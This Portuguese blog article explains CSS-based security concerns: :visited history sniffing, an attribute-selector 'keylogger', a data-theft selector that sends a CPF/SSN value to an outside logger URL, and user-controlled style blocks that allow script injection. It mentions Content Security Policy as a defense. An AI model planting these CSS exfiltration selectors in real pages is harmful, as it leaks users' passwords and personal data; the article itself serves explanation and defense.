Se você leu o título e ficou muito preocupado, calma! (provavelmente) CSS não seja uma preocupação de segurança particularmente perigosa e, na maioria das vezes, você não precisará se preocupar com vulnerabilidades de segurança CSS.
Mas, de vez em quando, talvez seja preciso sim ficar mais atento às possibilidades do que o CSS pode fazer que pode surpreender ou preocupar. E é sobre isso que falaremos um pouco no artigo.
A preocupação com links visitados
A coisa acontece mais ou menos assim:
- Você coloca um link para uma página específica no seu site, digamos
<a href="https://i-tickle-pigs.com">Tickle Pigs</a> - Você estiliza o estado visited desse link como
a:visited { color: pink; }, que não é um estilo padrão - Você testa se os estilos especificados funcionaram como o planejado
- Se aparecer rosa, é porque o site foi visitado
- Você percebe que as informações são enviadas a algum servidor em algum lugar e isso aumenta as taxas de preocupação sobre vulnerabilidades de segurança CSS
Você pode até fazer isso totalmente em CSS, porque o estilo :visited pode ter a imagem de fundo background-image: url(/data-logger/tickle.php);, solicitada apenas por este URL específico.
Ficou preocupado, né? Mas não precisa. Todos os navegadores impedem que isso seja possível. #PegadinhaDoMalandro
O keylogger
Esse daqui funciona da seguinte maneira:
- Há um input na página. Talvez para digitar sua senha. Assustador!
- Você coloca um script de logger como o valor de background do input, mas também um bilhão de seletores a mais, de modo que o criador de logs colete e relate parte ou toda a senha.
|
1 |
input[value^="a"] { background: url(logger.php?v=a); } |
Este caso não é tão simples. O atributo value não muda apenas porque você digita nele — embora, às vezes, isso ocorra em estruturas como o React. Portanto, se você inserir esse CSS em uma página de login feita em React e codificada dessa maneira, teoricamente, esse keylogger habilitado para CSS poderá funcionar.
Mas, nesse caso, o JavaScript está sendo executado nessa página de qualquer maneira. O JavaScript é 1000x mais preocupante do que o CSS para coisas assim. Um keylogger em JavaScript pode ser feito com 2 linhas de código para observar eventos de pressionamento de tecla e trafegando isso via AJAX.
JavaScript de terceiros e XSS inline agora podem ser interrompidos com Content Security Policy (CSP). E CSS também.
O ladrão de dados
Funciona assim:
- Se eu conseguir colocar alguns dos meus CSS nefastos em uma página na qual você se autenticou em um site…
- E esse site exibe informações confidenciais (como um CPF) em um formulário pré-preenchido…
- É possível usar seletores de atributos para descobrir isso.
|
1 |
input#ssn[value="123-45-6789"] { background: url(https://site-secreto.com.br/logger.php?cpf=123.456.789-10); } |
Um bilhão de seletores e você cobriu todas as possibilidades!
O bloco de estilo inline
Não sei se podemos culpar o CSS por isso, mas imagine:
|
1 2 3 |
<style> ... Coisas geradas pelos usuários ... </style> |
Talvez você esteja permitindo aos usuários alguma personalização de CSS ou algo assim. Esse é um vetor de ataque, pois eles podem fechar essa tag de estilo, abrir uma tag de script e escrever JavaScript nefasto.
Conclusão
E aí, já tinha pensado (ou visto) algumas dessas vulnerabilidades de segurança CSS?
Mas, calma. Pense no seguinte: você já ouviu algum caso de hackamento de algum site que foi causado por vulnerabilidades de CSS? Pois é…
Apesar de, em teoria, isso ser sim possível e haver possibilidade de brechas de segurança, pelo menos que tenhamos visto ou ouvido falar, por enquanto o CSS não precisa ser considerado uma grande preocupação em termos de segurança em projetos Web. Ufa! 😅
Mas e aí, ouviu falar ou conhece mais algum outro tipo de vulnerabilidade de segurança em CSS? Conta pra gente nos comentários!